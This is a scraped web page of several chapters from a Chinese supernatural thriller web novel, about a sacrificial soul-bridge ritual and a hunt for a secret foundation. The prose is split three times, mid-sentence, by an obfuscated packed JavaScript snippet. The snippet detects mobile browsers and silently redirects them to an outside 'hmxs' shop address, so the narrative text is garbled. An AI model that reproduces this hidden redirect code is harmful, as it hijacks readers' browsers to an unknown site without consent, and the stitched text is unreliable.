d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052017|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很窄,只能匍匐前进。周屹在前面开路,手电筒的光束在金属壁上反射出扭曲的光影。爬了大约五十米后,前方出现一个岔路口。 “左边还是右边?”周屹问。 陆予瞻没有立刻回答。他闭上眼睛,似乎在感知什么。几秒后,他睁开眼:“左边。有活人的气息。” 他们选择了左边的管道。又爬了三十米,管道豁然开朗,通向一个更大的空间——看起来像旧时的实验室,墙壁上还有残留的实验台和试剂架。房间中央有一张简易床,床上躺着一个人。 陈子轩。 他脸色惨白,胸口缠着绷带,绷带被血浸透了一大片。听见动静,他费力地睁开眼睛,看到周屹和陆予瞻时,居然笑了笑。 “来了啊……”他的声音虚弱不堪,“比我想的……快一点。” 周屹的枪口对准他:“钥匙在哪里?” “钥匙……”陈子轩咳嗽起来,咳出一口血沫,“我忘了。” “别装傻。”陆予瞻走上前,在床边停下,“你知道我们要什么。七座记忆工厂的频率顺序,打开最终之门的密码。” 陈子轩看着陆予瞻,看了很久,然后轻声说:“陆予瞻,你变了。” 陆予瞻没说话。 “第一世的时候,你虽然狠,但至少……还有点人样。”陈子轩断断续续地说,“现在,你连那点人样都没了。君荼白知道你现在是什么样子吗?” 周屹的呼吸一滞。 陆予瞻的表情没有任何变化,但周屹看见,他的右手,那只一直垂在身侧的右手,手指微微蜷缩了一下。 “钥匙。”陆予瞻重复,语气依然平静。 陈子轩笑了,笑容里满是苦涩:“我真的忘了。“忘川”在侵蚀我的记忆,我现在……连自己是谁都快不记得了。但我知道一件事,” 他顿了顿,看着陆予瞻的眼睛: “钥匙不在任何地方。钥匙就是陈小雨。” --- 安全屋。 君荼白猛地从椅子上站起来:“什么?” 沈鉴重复了刚刚接收到的信息,声音因为震惊而发颤:“陆队传回来的消息——陈小雨就是钥匙。他的大脑被基金会改造过,植入了七种频率的共振图谱。只要他还活着,基金会就能通过他打开最终之门。” 君荼白的脸色瞬间苍白。 他想起陈小雨说过的那些话——“他们给我们种了东西,在脑子里,凉凉的,会动。”他还以为那是控制芯片,没想到…… “那取出来呢?”他问,“沈鉴,手术取出来不行吗?” “太晚了。”沈鉴调出扫描数据,“频率图谱已经和他的脑神经完全融合,强行取出会导致脑死亡。而且……”他顿了顿,“基金会一定在他身上留了后手。如果强行移除,可能会触发自毁程序。” 君荼白跌坐回椅子,心脏狂跳。 陈小雨。 那个刚刚醒来的,问他“外面的世界是什么样的”的男孩。那个想念小玲,会为一张画流泪的男孩。 钥匙。 打开那扇可能毁灭世界的门的钥匙。 “还有多久?”他问,声音嘶哑。 “根据陆队的消息,基金会已经锁定陈小雨的位置了。”沈鉴看着监控画面——安全屋周围的街道上,出现了几辆可疑的黑色轿车,“最多两小时,他们就会强攻。” “陆队和周屹呢?” “正在往回赶。但化工厂到这里的车程至少四十分钟,而且……”沈鉴的声音低下去,“基金会可能在路上设伏。” 君荼白闭上眼睛。 两小时。 四十分钟车程。 陈小雨是钥匙。 所有的线索在这一刻串联起来,指向一个残酷的结论:他们救出陈小雨,不是结束,而是另一个更危险的开始。 楼梯上传来脚步声。 陈小雨扶着妹妹小月走下来。男孩的脸色比刚才更差了,额头渗出冷汗,手在微微发抖。 “大哥哥……”他轻声说,“我头好疼。” 君荼白冲过去扶住他:“哪里疼?” “脑子里……”陈小雨指着自己的太阳穴,“像有很多针在扎,很多声音在叫……他们在叫我。” “谁在叫你?” “不知道……”陈小雨的眼泪掉下来,“但他们在叫我开门。说时间到了,该开门了……” 君荼白抱住他,能感觉到男孩的身体在剧烈颤抖。这是频率共振被激活的征兆。基金会已经在远程启动陈小雨脑中的钥匙了。 “沈鉴!”君荼白喊道,“有没有办法屏蔽信号?” “我试试!”沈鉴飞快操作设备,启动安全屋的电磁屏蔽系统。但几秒后,他脸色难看地抬头:“没用。共振频率不是电磁波,是一种……意识层面的波动。我们现有的技术拦不住。” 陈小雨的颤抖越来越厉害,眼睛开始翻白。妹妹小月吓得大哭,紧紧抱住哥哥。 “大哥哥……”陈小雨用最后一点意识抓住君荼白的手,“如果我变成坏人了……如果我不得不开门……你能……杀了我吗?” 君荼白的心脏像是被狠狠攥紧。 “不会的。”他抱紧男孩,“我不会让你变成坏人。也不会……让你死。” 但说这话时,他自己都知道,这是多么无力的承诺。 窗外的黑色轿车越来越多,将安全屋团团围住。远方的夜空,满月高悬,散发着不祥的苍白光辉。 时间,真的不多了。 而陆予瞻和周屹,还在赶回来的路上。 通往安全屋的主干道上,一场伏击正在等着他们。 22. 钥匙与锁 凌晨两点,安全屋的电磁屏蔽发出不堪重负的嗡鸣。 沈鉴盯着屏幕上跳动的数据,眼镜片反射着红光警报,那不是电磁攻击,是某种更深层的、直接作用于生物神经的频率共振。陈小雨蜷缩在沙发上,浑身被冷汗浸透,牙齿咬得咯咯作响。小月哭着用小手擦哥哥额头的汗,但那汗越擦越多。 “他们在……调频……”陈小雨从牙缝里挤出几个字,眼睛已经开始失焦,“像在拧……收音机的旋钮……找对的那个……频道……” 君荼白跪在沙发前,用浸湿的毛巾敷在男孩额头。他左手腕灼烫得惊人,仿佛在与陈小雨脑中的频率共振共鸣。一百四十七世的记忆碎片在疼痛中翻涌,他看到无数相似的画面:孩子在抽搐,大人在束手无策,基金会的人在玻璃窗外冷漠记录。 “沈鉴,还有多久?”君荼白的声音绷得很紧。 “频率匹配度已经达到73%。”沈鉴的手指在键盘上飞舞,试图用反向波形干扰,“达到85%时,陈小雨的自主意识会被完全压制,成为纯粹的‘钥匙载体’。达到100%……” 他没说完,但君荼白懂了。 达到100%,门就会开。 而那扇门后面,是基金会经营了上百年的、由无数痛苦灵魂融合而成的怪物。 窗外的黑色轿车已经增加到八辆,呈扇形包围安全屋。车灯全部熄灭,像一群蛰伏在黑暗中的野兽。没有强攻,没有喊话,只有沉默的压迫。他们在等,等陈小雨脑中的钥匙完全激活,等门自己打开。 “陆队他们呢?”君荼白看向监控屏幕,主干道的画面一片雪花,信号被屏蔽了。 “最后定位在距离这里三公里的立交桥附近。”沈鉴切换到一个静止的卫星图像,“然后信号就断了。大概率是遇到了……” 爆炸声。 不是从窗外传来的,是从卫星图像上那个位置……立交桥方向,一团火光在夜色中绽开。 君荼白的心脏骤停了一拍。 立交桥下,燃烧的车骸还在噼啪作响。 周屹把陆予瞻从变形的驾驶座拖出来时,发现对方的右臂以一个不自然的角度弯曲着——骨折了。但陆予瞻的表情没有任何变化,他甚至用左手撑着车身站起来,看了看四周。 伏击者死了六个,还有三个在燃烧的车辆残骸后负隅顽抗。这不是基金会的常规部队,是雇佣兵,手法专业,装备精良,显然是花大价钱请来拖延时间的。 “他们不想杀我们。”周屹检查了弹匣,还剩七发子弹,“只是想拖住。” “因为他们在等陈小雨完全激活。”陆予瞻用牙齿撕开急救包的包装,单手给右臂上了简易夹板,动作熟练得像台机器,“我们还有多少时间?” 周屹看了一眼手表:“按沈鉴最后传来的数据,最多四十分钟。” 四十分钟,三公里,三个雇佣兵,陆予瞻右臂骨折。 几乎是不可能的任务。 但陆予瞻笑了。 那是周屹很久没见过的笑容,不是平时的温和,也不是私下里的冰冷,而是一种近乎愉悦的、狩猎般的弧度。 “够了。”陆予瞻说,然后做了一个让周屹瞳孔收缩的动作。 他用左手从腰间抽出那把狭长的军刀,反手握持。然后,他把骨折的右手——那只理论上应该剧痛无比的右手——抬了起来,手指在刀身上一抹。 血顺着刀刃流下。 然后血在刀身上凝聚、延伸,化作暗红色的、半透明的刀锋延长。那是蛊术,一种周屹只在古籍残卷里见过的禁术:血刃。 “陆队,你——” “我说过,这些年学了一点。”陆予瞻打断他,声音很轻,“对付基金会,常规手段不够。” 话音未落,他已经冲了出去。 之字形突进,速度快得在夜色中拉出残影。三个雇佣兵几乎同时开枪,子弹擦着他的衣角飞过,但没能命中——因为陆予瞻的移动轨迹根本不是人类该有的,更像某种……液体在流动。 第一个雇佣兵反应过来时,血刃已经切开了他的喉咙。没有喷血,伤口在瞬间被某种力量封住了,雇佣兵睁大眼睛倒下,连惨叫都发不出。 第二个雇佣兵调转枪口,但陆予瞻的左手刀已经到了。不是刺,是挑。刀尖精准地挑断了对方手腕的筋腱,枪落地,然后刀锋回转,刺入心脏。 第三个雇佣兵转身想逃。 周屹的枪响了。 一枪爆头。 尸体倒下时,陆予瞻已经回到了周屹身边。血刃消散,他右臂的绷带被血浸透,但表情依然平静,只是呼吸略微急促。 “走。”他说,“抄近路。” 近路是穿过一片待拆迁的老旧小区,翻过两道围墙,从化工厂的后巷绕回主路。全程两公里,陆予瞻右臂骨折却跑得比周屹还快,仿佛疼痛不存在。 翻第二道围墙时,周屹忍不住问:“陆队,你的右手……” “没事。”陆予瞻单手撑墙翻过去,落地时踉跄了一下,但立刻站稳,“比这重的伤受过很多次了。蛊术能暂时屏蔽痛觉,也能加速愈合。” “但你用的是禁术。”周屹跟着翻过去,“血刃要消耗生命能量,古籍上说……” “古籍上说,用一次折寿三年。”陆予瞻打断他,头也不回地继续跑,“但如果我们赶不回去,陈小雨会死,门会开,荼白会……做傻事。相比之下,折寿算什么?” 周屹沉默了。 他看着陆予瞻的背影,突然想起第一世最后那七天。那时候的陆予瞻也是这样的不顾一切,不计代价,用最极端的手段达成目的。区别只在于,那时候的疯狂浮于表面,现在的疯狂藏在温和的表象下。 更可怕。 二十分钟后,他们看到了安全屋所在的巷子。 也看到了巷口停着的第九辆黑色轿车——车窗贴着深色膜,看不清里面,但引擎还微微震动,显然刚停不久。 “还有伏兵。”周屹压低声音。 “不,是来接应的。”陆予瞻却摇头,“看车胎,负重不对,里面至少四个人。但他们没下车,只是在等。” “等什么?” 陆予瞻没回答。他闭上眼睛,似乎在感知什么。几秒后,他睁开眼,茶色瞳孔在夜色中闪过一丝暗红。 “等陈小雨的匹配度达到85%。”他说,“那时候,他们会强攻,带走陈小雨。如果带不走……就当场激活,强行开门。” “那我们——” “冲进去。”陆予瞻从腰间抽出最后一把手枪,递给周屹,“我掩护,你去开车。撞开巷口那辆,直接冲进院子。” “那你呢?” “我走屋顶。”陆予瞻抬头看了一眼安全屋二楼的窗户,“比你们快。” 周屹还想说什么,但陆予瞻已经动了。他助跑两步,蹬墙,左手抓住一楼的防盗窗栏杆,身体借力上荡,右脚踩在窗沿,再发力,整个人如夜枭般翻上了二楼的窗台。 全程不到五秒,右臂的骨折仿佛不存在。 周屹突然想起陈子轩的那句“没有个人样”的话,擦了擦额头的冷汗,咬咬牙,转身冲向巷口。 安全屋内,陈小雨的抽搐已经变成了全身性的痉挛。 匹配度:84%。 沈鉴尝试了所有能想到的干扰方法,甚至冒险给陈小雨注射了强效镇静剂,但没用——频率共振直接作用于意识层面,药物干预效果微乎其微。 “他们……在叫我名字……”陈小雨的眼睛已经完全翻白,只剩下眼白,看着格外骇人,“好多声音……在说……开门……开门……” 小月吓得缩在角落,抱着膝盖发抖。 君荼白按住陈小雨的肩膀,试图用自己手腕上月牙痕的共鸣反向干扰。但两股频率碰撞的瞬间,他眼前一黑,差点晕过去。陈小雨脑中的频率强度远超想象,那是七座记忆工厂百年积累的共振核心,不是他一个人能对抗的。 “不行……”君荼白喘着粗气,“我的频率太弱了……” “需要更强大的完整灵魂作为干扰源。”沈鉴快速翻阅古籍扫描件,“书上说,如果有完整且强大的灵魂愿意主动释放频率,可以暂时压制残缺灵魂的共振。但这样做的风险是。” “是什么?” 沈鉴沉默了两秒,才低声说:“完整灵魂会与被压制的残缺灵魂产生深度连接,如果压制时间过长……可能会被一起拖进门里,永世不得超生。” 君荼白的心脏沉了下去。 他知道沈鉴在暗示什么——陆予瞻。陆予瞻的魂魄经过一百四十七世轮回淬炼,强度足够,而且他掌握着禁术,知道怎么主动释放灵魂频率。 但如果陆予瞻这样做,他可能会…… 窗外传来撞击声。 然后是枪声。 君荼白冲到窗边,看见巷口那辆黑色轿车被撞得横移出去,周屹开着一辆不知道从哪弄来的越野车冲进院子,一个急刹停在门口。几乎同时,二楼窗户玻璃碎裂,陆予瞻从外面撞进来,落地,翻滚,起身,动作一气呵成。 他的右臂还绑着夹板,但左手已经握住了枪。 “匹配度多少?”陆予瞻问,声音平静得像在问时间。 “84%,还在升。”沈鉴回答。 陆予瞻点点头,走到沙发前,看着抽搐的陈小雨。他看了很久,然后轻声说:“够了。” “什么够了?”君荼白问。 “匹配度达到85%时,基金会会强攻。”陆予瞻转头看向窗外,巷口那辆被撞开的黑色轿车里,已经下来了四个穿黑色作战服的人,“我们守不住。所以要在那之前,把问题解决。” “怎么解决?” 陆予瞻没回答。他走到工作台前,用左手单手打开了一个上锁的抽屉。君荼白从没见过那个抽屉,更不知道密码。但陆予瞻很熟练地输入了密码,从里面取出一本皮质封面的古书。 书的封面上,用暗红色的朱砂写着一个字:渊。 “《镜渊秘典》。”陆予瞻翻开书页,“师傅当年留给我的,说如果有一天,我们不得不面对镜渊,就打开它。” 他翻到某一页,摊开在桌上。 那一页画着一个复杂的阵法图,中央是一个人形,周围是147个光点。图下方有密密麻麻的注解,用的是一种古老的密文。 君荼白认出了那种密文。这是巫蛊一脉最高深的传承文字,只有嫡传弟子能学。秦牧的残魂在他清醒的时候教过他,但他没学完,因为太痛苦——学习这种文字需要将密文烙印在灵魂上,每学一个字都要承受一次灵魂灼烧之痛。 但陆予瞻学会了。 全部。 “这个阵法叫‘魂桥’。”陆予瞻指着图中央的人形,“一个完整的灵魂,自愿进入镜渊,在现实与镜渊之间架起一座桥。桥成之时,镜渊内的147个残缺灵魂可以顺着桥出来,进入轮回。” 君荼白的呼吸停住了。 “代价呢?”他问,声音在颤抖。 “架桥的灵魂,会永远留在镜渊里,成为桥的一部分。”陆予瞻的声音依然平静,“不能轮回,不能解脱,永恒地维持着那座桥,直到……镜渊彻底崩塌。” “所以你需要一个自愿者。”周屹开口,他刚从门口进来,身上有血,但不是他的,“一个完整且强大的灵魂。” 陆予瞻看向他,点了点头。 房间里突然安静了。 只有陈小雨痛苦的呻吟声,和窗外逐渐逼近的脚步声。 匹配度:84.7%。 “我去。”周屹说。 “不行!”君荼白几乎是吼出来的。 “我必须去。”周屹看着他,眼神里有君荼白读不懂的东西——有决绝,有解脱,还有一丝……歉意,“小屿在里面。这是我欠他的。而且我已经切断和大家的共生契约了。” “怎么会——” “我知道。”周屹打断他,“但这是唯一的办法。陈小雨脑中的钥匙必须被压制,否则门会开,所有人都会死。而压制钥匙需要完整灵魂的干扰,干扰过程中灵魂会被门吸引,与其被动拖进去,不如主动进去,至少……还能救人。” 他说得那么冷静,冷静得让君荼白心碎。 君荼白看向陆予瞻,想从他那里得到支持。反驳周屹,提出其他方案,任何方案都好。 但陆予瞻没有说话。 他只是看着周屹,看了很久,然后轻声说:“你想清楚了?” “想清楚了。”周屹点头。 “那就准备吧。”陆予瞻合上书,“阵法需要时间绘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052018|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制,还需要一些……特殊的材料。” “什么材料?” 陆予瞻的视线落在君荼白左手腕上。 “需要147个执念印记的血,作为阵法的‘锚点’。”他说,“也需要钥匙载体的血,作为阵法的‘钥匙孔’。还需要……自愿者的一部分魂魄,作为阵法的‘桥基’。” 君荼白脸色苍白:“你是说,要我的血,陈小雨的血,还有周屹的……魂魄?” “不是全部魂魄,是‘胎光’——三魂七魄中最核心的那一魂。”陆予瞻解释,“胎光离体,肉身会进入假死状态,但魂魄的其他部分还能维持生命体征。等桥架成,147个灵魂离开镜渊后,如果速度够快……胎光有可能被拉回来。” “如果不够快呢?” 陆予瞻沉默了。 答案不言而喻。 胎光永远留在镜渊里,周屹的□□会变成植物人,直到自然死亡。 匹配度:84.9%。 窗外的脚步声更近了。 “没时间了。”周屹走到工作台前,拿起一把匕首,“需要多少血?” 陆予瞻报了一个数字。周屹二话不说,割开手腕,让血流进一个铜碗里。然后是君荼白——他割开左手腕月牙痕的位置,暗紫色的血涌出,和鲜红的血在碗中混合,发出诡异的滋滋声。 最后是陈小雨。 孩子已经意识模糊,但陆予瞻还是轻声解释:“小雨,哥哥需要你一点血,救大家。会有点疼,忍着点。” 陈小雨点了点头。 针尖刺破指尖,一滴血滴入碗中。 三血混合的瞬间,碗中爆发出刺目的白光。陆予瞻快速念诵密文,用左手蘸着混合血,在地面上绘制阵法图。他的动作快得惊人,每一笔都精准无比,仿佛这个阵法已经在心里演练过千百遍。 君荼白突然意识到一件事。 陆予瞻太熟练了。 熟练得不像是第一次做这件事。 他想起刚才那个上锁的抽屉,想起那本《镜渊秘典》,想起陆予瞻学会的密文,想起他这些年“学了一点”的蛊术…… 一个可怕的猜想浮上心头。 陆予瞻早就知道会有这一天。 早就准备好了这一切。 早就……计划好了让周屹去牺牲。 “陆予瞻。”君荼白开口,声音嘶哑,“你是不是……” “阵法成了。”陆予瞻打断他。 地面上的阵法图亮起白光,将整个房间照得如同白昼。周屹站在阵法中央,闭上眼睛。陆予瞻开始念诵第二段密文,语速极快,音节古怪,像某种非人的语言。 周屹的身体开始发光。 先是淡淡的银光,然后渐渐变成金色。他的胸口,不知道什么时候将子蛊剜出的那个位置,裂开一道缝隙,一团柔和的白光从缝隙中缓缓升起。 那是胎光。 人类的生命之魂。 白光升到半空,停顿了一下,然后像受到召唤般,飞向阵法图中央的一个符文。符文吸收了胎光,爆发出更强烈的光芒,那光芒向上延伸,在空中形成一道虚幻的、发光的桥。 桥的一端在房间里。 另一端,穿透天花板,伸向某个看不见的维度。 “桥成了。”陆予瞻说,声音里有一丝不易察觉的疲惫,“现在,需要有人走过这座桥,进入镜渊,把147个灵魂带出来。” 周屹睁开眼睛。 他的瞳孔已经变成了淡金色。 “我去。”他说,然后踏上光桥。 第一步,他的身体开始变得透明。 第二步,他的脚消失了。 第三步,小腿消失。 君荼白想冲过去,但陆予瞻拉住了他。 “别打扰他。”陆予瞻的声音很轻,“桥很脆弱,任何干扰都会让它崩塌。到时候,胎光会散,周屹会死,147个灵魂也会永远困在里面。” 君荼白僵在原地,眼睁睁看着周屹一步一步走上光桥,身体一寸一寸消散。 走到桥的中央时,周屹回头,看了君荼白最后一眼。 他的嘴唇动了动,说了几个字。 君荼白读懂了。 对不起。 好好活。 然后,周屹转身,继续向前。 他的身体完全消失在光芒中。 桥的那一端,传来轻微的、像是玻璃碎裂的声音。 然后,147个光点,顺着桥,缓缓流淌出来。 第一个光点落在地面,化作一个穿着碎花褂子的小女孩——小莲。 第二个光点,化作一个穿海魂衫的男孩——小海。 第三个,第四个,第五个…… 147个孩子,全部出现在房间里。 他们茫然地看着四周,看着彼此,然后看到了沙发上抽搐的陈小雨。 小莲走过去,轻轻摸了摸陈小雨的额头。 “别怕。”她说,“我们出来了。你也可以……休息了。” 陈小雨的抽搐停止了。 匹配度数字停在84.9%,然后开始缓慢下降。 窗外,脚步声停下了。 基金会的人似乎察觉到了什么,没有继续逼近。 房间里一片寂静。 只有147个孩子细微的呼吸声,和陈小雨逐渐平稳的心跳声。 君荼白看着光桥消失的地方,那里已经空空如也。 周屹没有回来。 胎光没有回来。 桥成了。 人,没了。 陆予瞻走到他身边,轻轻拍了拍他的肩膀。 “他做到了。”陆予瞻说,“救了所有人。” 君荼白抬起头,看着陆予瞻。 看着那双茶色的眼睛,看着里面深不见底的东西。 他突然很想问:你是不是早就知道会这样?你是不是故意让周屹去牺牲?你这些轮回准备的一切,是不是就是为了今天? 但他没问出口。 因为问出来,答案可能会让他彻底崩溃。 所以他只是点了点头,轻声说: “嗯。” “他做到了。” 然后转身,去安抚那些刚刚获救的、不知所措的孩子。 23. SOS 陆予瞻站在原地,看着君荼白的背影,看了很久。 直到君荼白的身影消失在楼梯拐角,直到楼上传来轻轻的关门声,陆予瞻才缓缓收回视线。他转身走向工作台,脚步很稳,就像这一百四十七世每一次转身那样,把所有的情绪都压回心底,把所有的波动都锁进面具之下。 他在工作台前坐下,左手习惯性地去拿工具,但指尖在触碰到刻刀的瞬间,停了下来。 他低头,看向自己的右手。 那只骨折的右手,此刻正不受控制地微微颤抖。石膏下的伤口早已止血,蛊术屏蔽了大部分的痛觉,按理说不该有这样的反应。但颤抖就是停不下来,像深秋枝头最后一片枯叶,在风中徒劳地挣扎。 陆予瞻抬起左手,用力握住右手手腕。他握得很紧,指节因为用力而泛白,仿佛想用这种方式强行止住那该死的颤抖。但没用。颤抖顺着腕骨往上蔓延,连带着整个右臂都在轻微震颤,连带桌上那些刚刚刻完一半的符文镜也跟着发出细碎的声响。 他闭上眼睛,深吸一口气。 脑海里不受控制地浮现出画面—— 周屹最后回头时那个平静的眼神。 胎光离体时那团温柔的白光。 还有那句无声的“好好活”。 陆予瞻的呼吸乱了一拍。 他松开左手,右手失去了压制,颤抖得更厉害了。他索性不再管它,任由那只手在桌面上无意识地抽搐、蜷缩、又展开。指尖划过木纹,留下一道道湿润的痕迹。他才意识到,掌心不知道什么时候已经被冷汗浸透。 是因为冷吗? 地下室的温度确实有些低。 但陆予瞻知道不是。 他抬手,用左手的手背碰了碰自己的脸颊。皮肤很凉,凉得不像活人。他又摸了摸心口的位置。心跳很稳,稳得近乎机械。可胸腔里却像是被掏空了一大块,有风从那空洞里呼啸而过,带着荒漠般的回响。 原来这就是代价。 算计了一百四十七世,准备了所有能准备的,把每个人都放在最“合适”的位置,用最“高效”的方式解决问题。 他算到了周屹会自愿牺牲,算到了阵法会成功,算到了孩子们能得救。 他甚至算到了君荼白会怀疑,会痛苦,但最终会选择接受现实,继续走下去。 他什么都算到了。 唯独没算到…… 当周屹真的消失在那道光里,当那句“好好活”真的成为遗言,当一切真的按照他的计划完美推进时…… 这只曾经握刀握枪、杀人无数、连挖出自己心脏都不会抖的手。 会像现在这样。 抖得停不下来。 陆予瞻低头看着自己颤抖的右手,看了很久很久。 然后,他忽然笑了。 “报应。”他轻声对自己说。 声音在地下室里回荡,空洞得吓人。 窗外,天色开始泛白。 新的一天要开始了。 他们还要去面对基金会剩下的据点,去公海找“深蓝号”,去解开“彼岸”的谜题,去完成周屹用命换来的这场战争。 陆予瞻深吸一口气,再缓缓吐出。 他再次用左手握住右手手腕,缓慢将那只颤抖的手按在桌面上。他感受着掌心下木纹的质感,感受着血液在血管里奔流的温度,感受这只沾过无数人的血、也沾过自己血的手。还活着的事实。 够了。 他对自己说。 颤抖也好,空洞也罢,都是奢侈的情绪。 他还活着。 君荼白还活着。 那些孩子的灵魂还在。 这就够了。 至于心里的那个洞,至于那只永远也停不下来的手……等基金会覆灭之后,等所有该救的人都得救之后,他再慢慢收拾。 陆予瞻松开左手,他用意志强行压制住了右手每一丝肌肉的失控。他重新拿起刻刀,开始在工作台上未完成的符文镜上,刻下新的纹路。 刀锋划过镜面,发出细微的沙沙声。 镜面倒映出他的脸。 平静的,克制的,没有任何波澜的脸。 只有那双茶色的眼睛深处正在慢慢结成冰。 三天。 距离周屹消失在光桥尽头已经过了七十二小时。安全屋里的气氛像绷到极限的弦,只是这次,弦上悬着的是某种更沉重的东西,空洞。 147个孩子被安置在孤儿院的地下隔离区,沈鉴用记忆稳定剂维持着他们脆弱的灵魂状态。但问题很快就出现了:这些孩子的灵魂被囚禁太久,与现实世界的连接几乎断绝。他们像一群困在玻璃罩里的蝴蝶,看得见阳光,却飞不出去。 “长期解决方案是轮回。”沈鉴在第三天早晨说,眼下带着浓重的阴影,“但他们的灵魂需要‘净化’。洗去镜渊留下的污染痕迹,否则轮回通道不会接纳。” 君荼白坐在会议桌另一端,面前摆着一杯冷掉的茶。他的左手腕缠着绷带。 “净化需要什么?”他问,声音有些沙哑。 “两样东西。”沈鉴调出数据,“第一,需要找到他们每个人在现实世界的‘生命锚点’,亲人、挚友、或者强烈的情感连接。用这些连接作为牵引,把他们的灵魂重新‘固定’在现实维度。第二……” 他停顿了一下。 “需要彻底摧毁镜渊的‘污染源’,也就是基金会用来污染他们灵魂的核心频率发生器。根据周屹最后传回的数据碎片,那种发生器在基金会全球七个主要据点都有部署。” 陆予瞻从厨房走出来,手里端着一盘刚切好的水果。他的右臂还打着石膏,但左手动作娴熟。他把水果放在桌上,在君荼白身边坐下。 “七个据点。”陆予瞻重复,用牙签插起一块苹果,“亚洲区的已经被我们端了。还剩六个:北美、南美、欧洲、非洲、大洋洲,还有一个……在公海。” “公海?”君荼白皱眉。 “移动据点。”陆予瞻咬了一口苹果,咀嚼得很慢,“一艘改装过的科考船,‘深蓝号’。基金会真正的核心实验室就在上面,负责人姓林,我们之前查到的‘林先生’。” 沈鉴调出一张模糊的卫星照片。一艘白色的船在公海航行,甲板上可以看到一些奇怪的设备结构。 “林墨生,六十七岁,基金会现任理事长。”沈鉴放出档案照片——一个面容清癯的老人,戴着金丝眼镜,眼神温和得像大学里教哲学的老教授,“表面身份是跨国医疗慈善基金会的主席,实际控制着全球至少三十个秘密实验室,研究方向从记忆移植到意识上传,再到……” 他顿了顿,放出一张更令人不安的照片。 一个培养舱,里面悬浮着一团不断变化的、半透明的人形物体。物体的表面偶尔会浮现出人脸,但很快又消散。 “这是什么?”君荼白感到一阵恶心。 “基金会称之为‘意识聚合体’。”陆予瞻接过话头,声音平静,“用多人的意识碎片融合而成,试图创造出一种……更高级的集体意识。林墨生认为,人类个体的意识太脆弱、太短暂,只有融合成整体,才能实现真正的永生。” “疯子。”君荼白低声说。 “而且是个有权有势的疯子。”沈鉴继续调出资料,“过去四十年,不对,过去146个轮回,这个基金会通过慈善捐款、政治献金、学术赞助,渗透了至少十七个国家的政府部门和科研机构。我们之前对抗的只是它的亚洲分部,真正的核心……” 他放出一张全球地图,六个红点分布在不同大陆,中间的公海上还有一个闪烁的红点。 “……从未被触及。” 会议陷入沉默。 窗外阳光很好,孤儿院的孩子们在院子里玩耍,笑声隐约传来。但在这个房间里,三个人都清楚:他们刚刚赢下一场战役,但整场战争才揭开冰山一角。 “那些孩子怎么办?”君荼白最终问,“我们不可能同时解决六个据点,还要找什么‘生命锚点’。” “所以需要分工。”陆予瞻放下牙签,用左手在平板电脑上调出一份计划草案,“沈鉴继续研究净化方法,同时利用基金会的内部网络,查找那些孩子的亲属信息。君荼白和我……” 他看向君荼白。 “去北美。” “北美?” “基金会在北美的据点位于内华达沙漠深处,代号‘方舟’。”陆予瞻调出卫星图像,一个庞大的地下建筑群,入口伪装成废弃的矿场,“根据周屹在镜渊传来的数据,那里的频率发生器功率是亚洲区的三倍,而且储存着基金会最早一批实验数据——包括林墨生最初的实验记录。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052019|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 君荼白盯着那个地下设施:“你想找什么?” “两样东西。”陆予瞻放大图像,“第一,频率发生器的设计图纸。知道原理,我们才能找到摧毁其他发生器的方法。第二……” 他放出一张模糊的老照片。 照片上是两个年轻人,都穿着白大褂,站在实验室里。其中一个是年轻的林墨生,另一个…… 君荼白的呼吸停住了。 那个年轻人,眉眼和他有七分相似。 “这是谁?”他的声音有些发紧。 “君远山。”陆予瞻说,“你的祖父。也是基金会最早的创始人之一。” 下午,君荼白独自来到孤儿院的地下隔离区。 147个孩子被安置在特制的静养舱里,舱体散发着柔和的蓝光,维持着他们脆弱的灵魂状态。小莲的舱在最前面,她已经醒了,正隔着玻璃看着外面。 看见君荼白,她笑了笑,用口型说:大哥哥。 君荼白把手贴在玻璃上。小莲也把手贴上来,虽然隔着玻璃,但君荼白能感觉到一丝微弱的温度,那是灵魂开始重新连接现实的迹象。 “他们怎么样?”他问旁边的护理员。 “情况稳定,但……”护理员是个年轻的女孩,眼圈红红的,“他们一直在做梦。梦里在哭,在喊一些名字。我们记录下来了,但听不懂。” 她递给君荼白一个平板,上面是孩子们梦话的录音转录。大部分是破碎的词句:“妈妈”、“回家”、“痛”、“不要”…… 但有一条记录,引起了君荼白的注意。 那是编号开头也是047的孩子,一个十岁左右的男孩,在梦里反复说着一串数字:3-17-24-71。 “这数字有什么意义吗?”君荼白问。 护理员摇头:“我们查了,不是日期,不是坐标,也不是任何已知的编码。” 君荼白盯着那串数字,突然想起什么。 3-17-24-71。 凌晨三点十七分——他每周醒来的时间。 24——他第一世死亡的年龄。 71——正常寿命减去24,等于47。47乘以3…… 147。 他的手开始发抖。他不明白为什么是3。但他潜意识里觉得应该乘以3。 这不是随机的数字。这是密码,也许是被特意选中的孩子在意识深处记住的密码。 他转身冲出隔离区,跑回安全屋。 